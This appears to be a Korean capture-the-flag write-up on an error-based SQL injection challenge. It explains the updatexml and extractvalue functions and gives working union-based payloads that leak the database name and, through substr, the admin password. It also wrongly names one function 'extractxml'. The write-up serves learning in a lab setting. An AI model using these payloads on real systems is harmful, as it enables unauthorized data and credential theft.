error based sql injection [WEB LEVEL1]
에러 베이스 문제에서 사용할 수 있는 함수
1. Updatexml 함수 => updatexml(target, expr, new_xml)
- 지정된 target에서 expr의 xpath 표현식과 일치하는 부분이 존재하면 target을 new_xml로 변경하는 함수
- updatexml(null, concat(0x3a, 실행할 쿼리문 ), null)
2. extractxml 함수 => extractxml(target, expr)
- target에서 expr과 xpath가 일치하는 xml 노드를 반환하는 함수
- extractxml(0x3a, concat(0x3a, 실행할 쿼리문) )
uid 입력 구문에 admin 으로 입력을 하여도 아무 반응이 일어나지 않는다.
즉, 에러를 일으켜서 문제의 답을 찾아야 한다.
'union select extractvalue(1,concat(0x3a,(select database()))); -- 구문을 사용해 "users"라는 DB명을 확인할 수 있다.
1 하고 0x3a 는 아무 문자가 와도 상관없음
extractxml 함수를 사용해 문제를 풀기 위한 구문은 ' union SELECT extractvalue(1,concat(0x3a,(select upw from user where uid = 'admin'))); -- 이다. 뒤 부분이 잘려서 나오게 되기 때문에 substr함수를 사용해 ' union SELECT extractvalue(1,concat(0x3a,(select substr(upw,1,10) from user where uid = 'admin'))); -- 구문으로upw 값을 10개씩 나눠 출력해서 확인을 하면 flag 값을 확인할 수 있다.
** concat 함수 : 둘 이상의 문자열을 입력한 순서대로 합쳐서 반환해 주는 함수